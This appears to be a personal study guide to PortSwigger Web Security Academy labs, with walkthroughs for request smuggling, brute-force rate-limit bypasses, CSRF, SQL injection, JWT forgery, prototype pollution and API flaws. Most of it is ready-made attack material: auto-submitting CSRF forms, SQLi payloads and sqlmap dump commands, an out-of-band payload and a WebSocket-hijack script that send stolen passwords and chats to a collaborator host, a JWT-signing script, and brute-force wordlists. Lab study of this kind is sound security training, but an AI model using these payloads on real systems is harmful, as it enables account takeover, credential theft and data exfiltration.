This lab is very interesting. You can capture another user’s request through H2.TE. This means you can smuggle a transfer encoding header through and log a user’s response. This is possible through CLRF in a header.

Step 1: Inject a header

Jack\r\n
Transfer-Encoding: chunked
  • Set a random HEADER with the following value. Use Shift+Enter to create the new line.

Step2: Capture a users request:

0

POST / HTTP/1.1
Host: web-security-academy.net
Cookie:  session=YOUR SESSION COOKIE
Content-Type: application/x-www-form-urlencoded
Content-Length: 900

search=attack
  • This will append the user’s session to the back of the search history.

Bypass

Bypass

Transfer encoding Obfuscation:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Transfer-encoding: identity
Transfer-encoding: cow

Smuggling a header through CLRF

This only applies to the H2.TE lab but is very interesting. It is possible to smuggle a Transfer-Encoding header through carriage line return feed:

Jack\r\n
Transfer-Encoding: chunked

Tools

Tools

HTTP Request Smuggler

This is a good tool for performing request smuggling. You can use the smuggle probe to find request smuggling and the exploit feature to then exploit it.

This comes in very handy when you can’t quite get the correct length of the request.

Identify HTTP Request Smuggling

For normal smuggling, just use the ‘smuggle probe’.

For H2 request smuggling, use ‘H2 probe’.

Exploit HTTP Request Smuggling

When you have identified HTTP request smuggling, use the extension to use turbo intruder to try and smuggle your payload.

Resources

Again, this gitbub repo is very good.

About

About

Password brute-forcing aims to test the effectiveness of rate-limiting and account lockout protections on a web application. The objective is to identify ways to bypass these security controls to submit more password attempts than should be permitted, ultimately leading to unauthorised account access.

Locate

Locate

Password brute-forcing can be attempted in several application areas. The most common is the primary login page, where the attacker targets the main authentication flow.

The “Forgot Password” or “Reset Password” features are also common targets, as attackers can brute-force security questions or verification codes. Finally, change-password forms inside authenticated areas sometimes lack the same strict rate limits enforced on the login page.

Bypass

Bypass

Most sites enforce basic rate limits. The techniques below focus on bypassing those controls to increase the volume of credential guesses.

Login Reset

If lockout only counts consecutive failures, interleave valid logins for the same account between password guesses to reset the failure counter indefinitely.

IP Bypass

Rate limits tied to a single source IP can be circumvented by rotating IP addresses via proxies or VPNs after each threshold is reached. X-Forwarded-For spoofing is often enough.

Multiple Passwords Per Request

Some implementations count requests, not passwords. Submitting an array of passwords within a single request may allow numerous guesses before the limit increments.

"password" : [
    "123456",
    "password",
    "qwerty"
]

Race Conditions

If the lockout check and enforcement are not atomic, sending a burst of requests simultaneously can beat the enforcement step and allow dozens of guesses before the account is locked.

GraphQL Batch Queries

When authentication lives behind GraphQL, a single mutation request can contain multiple aliased login operations, effectively brute-forcing within one HTTP request.

mutation {
    bruteforce0:login(input:{password: "123456", username: "carlos"}) {
         token
         success
     }

     bruteforce1:login(input:{password: "password", username: "carlos"}) {
         token
         success
     }

     bruteforce99:login(input:{password: "12345678", username: "carlos"}) {
         token
         success
     }
}

HTTP Pipelining

Where rate limiting is attached to connections instead of requests, HTTP/1.1 pipelining can push many login attempts through a single connection. Few servers handle this correctly.

POST /login HTTP/1.1
Host: jackmason.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=jackmason&password=guess1
POST /login HTTP/1.1
Host: jackmason.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=jackmason&password=guess2
POST /login HTTP/1.1
Host: jackmason.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=jackmason&password=guess3

Usernames

Usernames

Here’s a list of usernames for brute-forcing:

carlos
root
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
ansible
ec2-user
vagrant
azureuser
academico
acceso
access
accounting
accounts
acid
activestat
ad
adam
adkit
admin
administracion
administrador
administrator
administrators
admins
ads
adserver
adsl
ae
af
affiliate
affiliates
afiliados
ag
agenda
agent
ai
aix
ajax
ak
akamai
al
alabama
alaska
albuquerque
alerts
alpha
alterwind
am
amarillo
americas
an
anaheim
analyzer
announce
announcements
antivirus
ao
ap
apache
apollo
app
app01
app1
apple
application
applications
apps
appserver
aq
ar
archie
arcsight
argentina
arizona
arkansas
arlington
as
as400
asia
asterix
at
athena
atlanta
atlas
att
au
auction
austin
auth
auto
autodiscover

Passwords

Passwords

Here’s a list of passwords for brute-forcing:

123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
superman
1qaz2wsx
7777777
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix
mobilemail
mom
monitor
monitoring
montana
moon
moscow

Authentication

Location

Location

Registration Pages

Look for registration methods that might allow you to gain access to another user’s account:

GET /register

Forgotten Password

If there is an option to reset your password, try to enumerate usernames and reset other users’ account passwords:

temp-forgot-password-token=ongg6arf7fa82iyslqfzvkwuw4l2y00h&username=wiener&new-password-1=test&new-password-2=test

Burp-labs

Burp Labs

1. Inconsistent handling of exceptional input

In this lab, you can register with an email address. The @wannacry domains have admin privileges. You can exploit this by creating a username that bypasses the length check:

very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-server.net

2. Infinite money logic flaw

This is very random, but it teaches you how to bypass CSRF tokens. This could allow you to brute-force logins, even if they are protected.

Complete the redeem gift card flow.
Go to Settings -> Sessions -> Session handling rules -> Add.

Go to Scope -> Include all URLs.

Back to details -> Rule Actions -> Add -> Run a macro -> Add.

Select the gift card flow using Cmd + select.

Configure the items that need unique identifiers.

Run an intruder attack of null payloads on your account to run the macro.

Cross Site Request Forgery

Location

Location

Email Change

The email change is susceptible to CSRF. This is the target in all labs.

POST /my-account/change-email HTTP/2

GET Request

In some labs, to bypass samesite=lax, you use GET requests:

https://web-security-academy.net/my-account/change-email?email=jack@mason.com

Cartridge Line Return Feed Injections

In some labs, the search bar is vulnerable to CRLF injections. This allows you to inject a cookie to bypass CSRF protections:

GET /?search=test%0d%0aSet-Cookie:%20csrfKey=ZMj16mC23A05OOXmEaaaozZp3PKKCetg%3b%20SameSite=None HTTP/2

Subdomain

In the web socket lab, there is a subdomain that is vulnerable:

https://cms-0a250023049d1c6081e02a0900e20063.web-security-academy.net/login

OAuth

In the final lab, you can exploit OAuth by refreshing a token to exploit the two minutes before lax is set on a session cookie:

https://oauth-0af000360465b7738075012e02730066.oauth-server.net/interaction/DLGG28jxRbbC3fnHp_ym2

Exam

Exam

In the exam, the email change is the main target. You might need to change the email and reset the password.

Burp-labs

Burp Labs

Bypassing CSRF token validation

Burp labs here

1. CSRF vulnerability with no defences

Very simple. Capture your email change, use the generate CSRF Poc in engagement tools. Change the email as you cannot have two emails the same, and send it to the victim:

<form action="https://0a410072035c73eb8087bc8e003e0061.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test123@123.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

Bypass

Bypass

Bypassing CSRF token validation

Burp labs here

2. CSRF where token validation depends on request method

In this lab, a CSRF token is needed with a GET request. Again, use the CSRF Poc tool:

<form action="https://0ad000f1035ff2e480930321007500aa.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="test123@123.com" />
      <input type="hidden" name="csrf" value="eHnrkHdvc8K10PJtQxGm4ML28aIYkfR9" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

3. CSRF where token validation depends on token being present

In this lab, the CSRF token can simply be removed:

<form action="https://0a0a000c032214058088038f006100bd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test123@1.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

4. CSRF where token is not tied to user session

In this lab, your CSRF token can be used on another account. However, the CSRF token has to be unused:

<form action="https://0a64001504e52e58807cbcd400040082.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test123@here.com" />
      <input type="hidden" name="csrf" value="mDFoatgqgZMAqITMcQoMaBn0JCOekFKA" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

5. CSRF where token is tied to non-session cookie

In this lab, you need to CRLF a cookie into the user’s browser using a CSRF attack, then deliver the email change through a CSRF attack. I doubt this will be on the exam, as you need two accounts to realise that the CSRF cookie and CSRF token are static.

<form action="https://0aa50076036ed8cf80710300008f0028.web-security-academy.net/">
      <input type="hidden" name="search" value="test Set-Cookie: csrfKey=ZMj16mC23A05OOXmEaaaozZp3PKKCetg; SameSite=None" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
	
	
	Deliver that one, then deliver this one after:
	
	<form action="https://0aa50076036ed8cf80710300008f0028.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test348957489@1234.com" />
      <input type="hidden" name="csrf" value="o1ciBZI7Sge1co9fholynSSOWyVa2k47" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

6. CSRF where token is duplicated in cookie

Another good lab. The CSRF token and cookie need to be the same, but they can be anything. To exploit this, use CRLF again and set the cookie to a value such as 1:

<form action="https://web-security-academy.net/">
      <input type="hidden" name="search" value="test%0d%0aSet-Cookie:%20csrfKey=ZMj16mC23A05OOXmEaaaozZp3PKKCetg%3b%20SameSite=None" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
	
	
	Deliver that one, then deliver this one after:
	
    <form action="https://0ae1002d0493dab88073037200e00086.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test123@123.com" />
      <input type="hidden" name="csrf" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

7. SameSite Lax bypass via method override

This lab is a bit odd. It sets the cookie to Lax, meaning it is still vulnerable to GET requests. However, the endpoint does not accept GET requests. This can be bypassed using the _method= query parameter.

<form action="https://0ad4009504c8a92b81e93eb500d2008e.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="tes123t1@123.cok" />
      <input type="hidden" name="_method" value="POST" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>

8. SameSite Strict bypass via client-side redirect

This lab is very good. You can bypass the SameSite=Strict through an open redirect. You need to URL-encode the payload so that it doesn’t break out of the query string:

<script>
    document.location = "https://web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3femail%3dtest54367%2540123.com%26submit%3d1";
</script>

9. SameSite Strict bypass via sibling domain

This lab is tough. You need to hijack the web sockets of another user through a subdomain vulnerable to XSS.

Step 1 - Find the vulnerable subdomain: The subdomain is on cms-TARGET.

Step 2 - Find the XSS: The XSS is in the username field (the following will alert):

https://cms-TARGET/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass

Step 3 - Identify the CSWSH issue: In the live chat function, we notice the GET /chat HTTP/2 request doesn’t use any unpredictable tokens. This can _identify_ a possible cross-site WebSocket hijacking (CSWSH) vulnerability, if it’s possible to bypass SameSite cookie restrictions.

Step 4 - Write a payload on the subdomain: The following will send you the victim’s chats:

<script>
    var ws = new WebSocket('wss://TARGET.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Step 5 - Deliver: You can URL-encode this payload and include it in the URL of the subdomain. This can then be hosted on your exploit server:

<script>
    document.location = "https://cms-TARGET.net/login?username=ENCODED-POC-CSWSH-SCRIPT&password=Peanut2019";
</script>

10. SameSite Lax bypass via cookie refresh

This lab is very interesting. As Chrome sets the cookie to lax by default after two minutes of a user session, if an attacker can find a way to get a user’s session to refresh, they could potentially exploit a CSRF attack quickly afterwards.

In the lab, there is an OAuth authentication flow where /social-login initiates a new auth flow. You need to bypass a popup blocker by requiring a user to click the page. The exploit JavaScript code first refreshes the victim’s session by forcing their browser to visit /social-login, then submits the email change request after a short pause. Deliver the exploit to the victim.

<form method="POST" action="https://TARGET/my-account/change-email">
    <input type="hidden" name="email" value="jack@mason">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://TARGET/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

Tools

Tools

The only real tool to use here is the built-in Generate CSRF Poc found in engagement tools:

Capture a vulnerable request in repeater

Right Click -> Engagement tools -> Generate CSRF Poc
  • If using on the exploit server, remove the surrounding <body> code from this request.

Password Reset

Location

Location

Password Reset on Account

POST /forgot-password

Exploit

Exploit

1. Password reset broken logic

A very simple lab. Reset your password, changing the username to carlos:

temp-forgot-password-token=gikaojvdj1cff4thkftskl9rk8oraxvw&username=carlos&new-password-1=test1&new-password-2=test1

2. Weak isolation on dual-use endpoint

Another very easy lab. Simply remove the current password and change the username from the account change password functionality:

csrf=Tpj69LWN78JXZPYqnz1ths98EUddgbD3&username=administrator&new-password-1=test&new-password-2=test

Detect

Detect

Use the following methods to detect SQLi:

  • Use the single quote character ' and look for errors or other anomalies.
  • Use some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and look for systematic differences in the application responses.
  • Use boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application’s responses.
  • Use payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond.
  • Use OAST payloads designed to trigger an out-of-band network interaction when executed within a SQL query, and monitor any resulting interactions.

Query the database

Use the following commands to find the database type:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT banner FROM v$version SELECT version FROM v$instance
PostgreSQLSELECT version()

Location

Location

URL

Look for parameters in the URL that can be manipulated:

https://web-security-academy.net/filter?category=Accessories

Log In

The login feature may be vulnerable to SQLi through password bypass:

username=administrator&password=pass' OR 1=1 --

Cookie

Look for cookie values that may be injectable:

TrackingId=INJECT

Exploit

Exploit

Here is a list of the techniques from the labs that I think are most applicable for privilege escalation:

Querying a database from a query parameter

This is where the vulnerable SQLi is in the URL.

Find Tables

For this, you want to use SQLMap. Start by finding the vulnerable parameter and use SQL map to ensure the tables:

sqlmap -u 'https://web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ --tables --batch

Dump table

Once the table is known, use the following command to dump that table.

sqlmap -u 'https://web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ -T TABLENAME --dump --batch

This is slightly different as you need to inject into a cookie. Again, it follows the same process:

Find Tables

For this, you want to use SQLMap. Start by finding the vulnerable parameter and use SQL map to ensure the tables. The * tells SQLMap where to inject.

sqlmap -u 'https://web-security-academy.net' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=BEUSTQ --tables

Dump table

Once the table is known, use the following command to dump that table.

sqlmap -u 'https://web-security-academy.net' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=BEUSTQ -T TABLENAME --dump

Visible error-based SQL injection

In these labs, an error message is only returned if the SQL parameter does not evaluate. This makes it very difficult for SQLMap and requires manual injection. For this, it is recommended to refer to Blind SQL Injection.

Conditional Errors

This uses the CASE keyword, which breaks the query if it does not evaluate:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

via verbose SQL error messages

This can be used when detailed error messages are returned. In this attack you want to try and extract a string as an integer using CAST.

CAST((SELECT example_column FROM example_table) AS int)

Burp Labs

Burp Labs

I used SQLMap for most of these labs; it’s not best practice, but it’s something you need to learn when under time constraints.

1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Super simple lab, reveal all items:

https://web-security-academy.net/filter?category=Accessories%27%20OR%201=1%20--

2. SQL injection vulnerability allowing login bypass

Access the admin account by manipulating the password:

username=administrator&password=pass' OR 1=1 --

3. SQL injection attack, querying the database type and version on Oracle

You need to find the database using a database query with a union:

https://web-security-academy.net/filter?category=Accessories'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

4. SQL injection attack, querying the database type and version on MySQL and Microsoft

Simple lab, get the version from MySQL / Microsoft:

Gifts' UNION SELECT @@version, null --

5. SQL injection attack, listing the database contents on non-Oracle databases

This lab is a bit difficult; you need to enumerate usernames and passwords. The official solution is:

<code>{`'+UNION+SELECT+username_RANDOM-STRING,+password_RANDOM-STRING+FROM+users_RANDOM-STRING--`}</code>

However, I used SQL map to speed up the process:

sqlmap -u "https://web-security-academy.net:443/filter?category=Lifestyle" --cookie="session=6qQNwTzh9EdH3K5aNpgGjE87xSl796qq" -p "category" --dbms="PostgreSQL" --level=3 --risk=3 --technique=BEUSTQ --all

6. injection attack, listing the database contents on Oracle

This lab is the same; I again used SQLMap. Official solution:

'+UNION+SELECT+USERNAME_RANDOM-STRING,+PASSWORD_RANDOM-STRING+FROM+USERS_RANDOM-STRING--

SQLMap (start with tables)

sqlmap -u 'https://0a5d0033036eb9b680cd12e1001f00fd.web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ --tables --batch

Then enumerate a table (this saves lots of time):

sqlmap -u 'https://0a5d0033036eb9b680cd12e1001f00fd.web-security-academy.net/filter?category=Pets' -p "category" --level=3 --risk=3 --technique=BEUSTQ -T "USERS_FZOFGO" --dump --batch

7. SQL injection UNION attack, determining the number of columns returned by the query

Simple lab, find the null values in a union attack:

/filter?category=Pets%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL--

8. SQL injection UNION attack, finding a column containing text

Simple lab, make the database return the string ‘6lRU5C’

?category=Pets'+UNION+ALL+SELECT+NULL,'6lRU5C',NULL--

9. SQL injection UNION attack, retrieving data from other tables

I used SQL map:

Table

sqlmap -u "URL" -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ --tables

Data:

sqlmap -u "URL" -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ -T users --dump

10. SQL injection UNION attack, retrieving multiple values in a single column

I used SQL map again, but here’s the proper solution:

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

11. Blind SQL injection with conditional responses

In this lab, you can inject into a cookie with time delays. I used SQLMap again, but here’s the official solution:

TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

12. Visible error-based SQL injection

This lab is interesting; you can cause errors on the web app showing incorrect data. Due to this, you can try the CASE keyword to test a condition and return a different expression depending on whether the expression is true.

TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;

TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;

13. Blind SQL injection with time delays

I used SQLMap to solve this lab to get into the admins account, although it’s not needed:

sqlmap -u  'SITE' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=T --tables

The official solution is this:

<code>{`'||pg_sleep(10)--`}</code>

14. Blind SQL injection with time delays and information retrieval

Again, I used SQL map:

sqlmap -u  'SITE' --cookie "TrackingId=VIjBxjICxouHLsil*" --level=3 --risk=3 --batch --technique=T --tables

15. Blind SQL injection with out-of-band interaction

I used Burp Intruder to fuzz all the SQL payloads with my Burp Collaborator subbed in:

TrackingId=§tets§

Official Payload:

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

16. Blind SQL injection with out-of-band data exfiltration

This lab is tough; you need to get an out-of-bound DNS lookup, then use this as a condition error response to show if the payload is valid:

Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.738mdgsg1r09ggsh9j7mfvcbv21tpkk89.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--;

Tools

Tools

SQLMap

The best for these labs.

Assess a query parameter

sqlmap -u  'https://Target?category=' -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ --tables

Assess a Cookie

sqlmap -u  'https://Target?category=' -p "category" --level=3 --risk=3 --batch --technique=BEUSTQ --cookie="inject-here=123*; otherCookie=234" --tables
  • The * tells SQLMap where to inject

What each technique means

FlagTechniqueDescription
BBoolean-based blindSends true/false conditions to infer data. No output is shown on the page; relies on differences in page content/response. Very stealthy.
EError-basedForces the database to throw errors that contain data (e.g., version, usernames). Fast and effective if errors are visible.
UUNION query-basedInjects UNION SELECT statements to combine results with visible data. Only works if output is shown in the response.
SStacked queriesExecutes multiple queries in one statement using ;. Only works if the DB/API allows multiple statements per request.
TTime-based blindUses delays (e.g., SLEEP(5)) to detect vulnerabilities based on how long the server takes to respond. Useful for blind SQLi.
QInline queries (a.k.a. out-of-band)Triggers DNS or HTTP callbacks. Only works if the DB has external network access and the tester controls an out-of-band server (e.g., Burp Collaborator).

Location

Location

Cookies

Look for cookies that are Base64 encoded.

Target

In most of these labs, the aim is to access the admin portal:

GET /admin HTTP/2

JWT Headers - JWK

This header allows servers to embed their public key directly within the token itself, in JWK format.

{
    "kid": "f11ce06c-2060-4554-91f7-dfa0054f16a8",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "f11ce06c-2060-4554-91f7-dfa0054f16a8",
        "n": "lBB1i-2bcsRMaCvHoILz-Gx1JUV9SXC7DDqA1Z6QP6hxGu0xeP1fM9BsnnBHmNchmbYLl7GtUDs4WmYBEconVmPeMkiFqT17X_qtefOEtrBRwN6OGaWYoTBE-B86PGN3I6sIKjC06o2HSrkQTV4TA4xQaym8Ku0bEm9MhLYSwVFsHMNBmKj2dFnYRwPYWZkFhUijOiBvz1U2fJ50MyCPTsdOumaeOP4HhzXsEZkwJZ_Gta3r0SmNL5YwxgdujNi5h8mklRq0VclXM2CFHz8WdUthBVTUvE9HQ2GiVh3FCvan61VNz4eIqLXN2CKlc91666EZsBZYKNEzVjfJrXofHw"
    }
}

JWT Headers - JKU

This header allows you to store keys on an external web server. Set the web server to your exploit server and sign your own keys.

{
    "kid": "f11ce06c-2060-4554-91f7-dfa0054f16a8",
    "alg": "RS256",
    "jku": "https://exploit-server.net/exploit"
}

JWT Headers - Kid

The kid header may be susceptible to path traversal. If you can link it to a null file, you can sign the JWT with an empty signature.

{  
    "kid": "../../../../../../../dev/null",  
    "alg": "HS256"  
}

Exploit

Exploit

Burp’s labs

Exploiting flawed JWT signature verification

1. JWT authentication bypass via unverified signature

A straightforward lab; remove the signature:

{"iss":"portswigger","exp":1745952925,"sub":"administrator"}

2. JWT authentication bypass via flawed signature verification

Another simple lab; remove the signature and set the alg to none:

{"kid":"bf42fa16-7a6b-4a87-b186-a43b00c2c48f","alg":"none"}.{"iss":"portswigger","exp":1745953334,"sub":"administrator"}.

3. JWT authentication bypass via weak signing key

This lab is a little more difficult; you need to brute-force the signature using the following list and then sign your own signature using the key.

Step 1: Break the signature:

hashcat -a 0 -m 16500 <jwt> <wordlist>

Step 2: Create your own JWT.

  • I couldn’t get the JWT editor to work, so I built my own script:
import hmac
import hashlib
import base64
import sys

def base64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

def create_jwt(unsigned_token: str, secret: str) -> str:
    signature = hmac.new(
        key=secret.encode(),
        msg=unsigned_token.encode(),
        digestmod=hashlib.sha256
    ).digest()
    signature_encoded = base64url_encode(signature)
    return f"{unsigned_token}.{signature_encoded}"

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python create_jwt.py <header.payload> <secret>")
        sys.exit(1)

    unsigned_token = sys.argv[1]
    secret = sys.argv[2]

    jwt = create_jwt(unsigned_token, secret)
    print("Generated JWT:")
    print(jwt)
  • Execute this with python create_jwt.py <your_header.payload> <your_secret_key>.

This provides you with a JWT; use it to sign in as admin.

JWT header parameter injections

4. JWT authentication bypass via jwk header injection

This lab is effective and simple. You can inject into the jwk header and sign your own JWT. This requires the use of the JWT editor:

Generate a new RSA key (just press generate in JWT editor).

Go to JSON Web Token in the repeater, change the name to administrator.

Click attack -> click embed jwk.

Select your RSA key, and you're done.

5. JWT authentication bypass via jku header injection

This lab is slightly more complex. The jku header allows you to host keys on external servers. To solve this lab, do the following:

Generate a new RSA key (just press generate in JWT editor).

Go to your exploit server and host the following:

{
    "keys": [

    ]
}

Go back to the JWT editor and copy your key as JWK.

Paste this into the above:

{
    "keys": [
		PASTE HERE
    ]
}

Send a request with a JWT to the repeater.

Change sub to administrator.

Change kid to that of your JWK on the exploit server.

Add a "jku" header to your JWT, linked to your exploit server.

Click sign -> select your RSA key.

Send this, and access the /admin panel.

6. JWT authentication bypass via kid header path traversal

This is a good lab; the kid is vulnerable to path traversal. This can be exploited by an attacker to direct it to a null file, such as ../../../../../../dev/null. You then sign it with a null key.

{  
    "kid": "../../../../../../../dev/null",  
    "alg": "HS256"  
}

{  
    "iss": "portswigger",  
    "exp": 1746119995,  
    "sub": "administrator"  
}

attack -> sign with empty key -> HS256

Access admin -> delete carlos

Bypass

Bypass

There is mention of bypassing whitelist filters here. This may be useful for the bypass via the jku header.

Tools

Tools

JWT Editor is required for this lab. Get used to using it as effectively as possible.

JWT Secrets

JWT Secrets

Use this list.

Prototype Pollution 1 (Priv Esc)

Location

Location

URL

The URL is a good place to find client-side Prototype Pollution:

/?__proto__[jack]=mason

?__proto__.jack=mason

External files

Look for the following file; it normally contains an XSS sink:

/resources/js/searchLoggerFiltered.js

Account Update

Look for ways to update your profile where you could upgrade your privileges:

POST /my-account/change-address

...

{
	"details":"etc",
	"__proto__":{
		"isAdmin":true
	}
}

Exploit

Exploit

Client-Side Prototype Pollution

Burp labs

1. DOM XSS via client-side prototype pollution

This is a simple Lab, using DOM Invader. Turn on prototype pollution and see if it finds a prototype pollution exploit and an exploit for DOM XSS.

?__proto__[transport_url]=data%3A%2Calert%281%29

2. Lab: DOM XSS via an alternative prototype pollution vector

In this lab, it’s a very similar exploit. Identify the exploit in the URL, then use DOM Invader to find the injection point. Notice that the exploit doesn’t work. If you do manager.sequence you can see that the payload is alert(1)1 which breaks the code. Correct this with the following payload:

?__proto__.sequence=alert(1)-

4. Client-side prototype pollution in third-party libraries

This lab is good. Use DOM Invader to identify the vuln and find an exploit. Change it to alert(document.cookie) and craft a payload for the exploit server:

<script>
document.location="https://0a2300e3039b57b7801803a200d800d6.web-security-academy.net/#constructor[prototype][hitCallback]=alert(document.cookie)"
</script>

Server-Side Prototype Pollution

5. Privilege escalation via server-side prototype pollution

This lab is super easy and may be in the exam. You need to change isAdmin to true. This can be done through the /my-account/change-address endpoint:

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"OK2RSO7mWpJwJ5xOW3iheSZNuiebdSa6",
"__proto__":{
"isAdmin":true
}}

Bypass

Bypass

3. Client-side prototype pollution via flawed sanitisation

In this lab, there is some basic validation on the param that is used to pollute the prototype:

__pro__proto__to__

This can be polluted. To exploit this, as the default way does not work, look in the external js file for a sink, identify the transport_url item, and use the canary and look for this using DOM Invader. This will give you the exploit:

?__pro__proto__to__[transport_url]=data:,alert(1)

6. Detecting server-side prototype pollution without polluted property reflection

If there is no visible way to see if the exploit succeeded, you can delay the following blind method:

"__proto__": {
    "status":555
}
  • This will make the error code 555, indicating it’s been polluted.

Bypassing flawed input filters for server-side prototype pollution

This is a simple lab. Websites can filter out __proto__ so you can use the following:

{
	"data":"...",
	
	"constructor":{
		"prototype": {
			"isAdmin":true
		}
	}
}

Next Steps

Next Steps

This is used to priv esc as admin.

Tools

Tools

The following tools are very useful:

Dom Invader

This is a no-brainer for finding and exploiting client-side prototype pollution.

How to use:

  1. Open Burp browser
  2. Turn on Prototype Pollution under attack types
  3. Open Dom Invader in the Dev Tools
  4. Look for any flags of issues and exploit them through here

Server-Side Prototype Pollution Scanner

This is a Burp Extension for finding server-side prototype pollution issues. Just install it and run it against the scope.

API Testing

Location

Location

API Location

Look for /api

PATCH /api/user/wiener HTTP/2

External js Files

Look out for external js files that may contain useful information:

GET /static/js/forgotPassword.js

Exploit

Exploit

1. Exploiting an API endpoint using documentation

Documentation can be found at /api, which reveals a DELETE user functionality.

DELETE /api/user/carlos

2. Finding and exploiting an unused API endpoint

This is another simple lab; buy the jacket for nothing. Find the PATCH endpoint that lets you set the price to 0:

PATCH /api/products/1/price HTTP/2

...

{
	"price":0
}

3. Exploiting a mass assignment vulnerability

In this lab, you can find hidden endpoints by changing a GET request to a POST request. You can see that a percentage discount is used. This can be changed to 100%:

POST /api/checkout HTTP/

...

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}

Server-side parameter pollution

Labs

4. Exploiting server-side parameter pollution in a query string

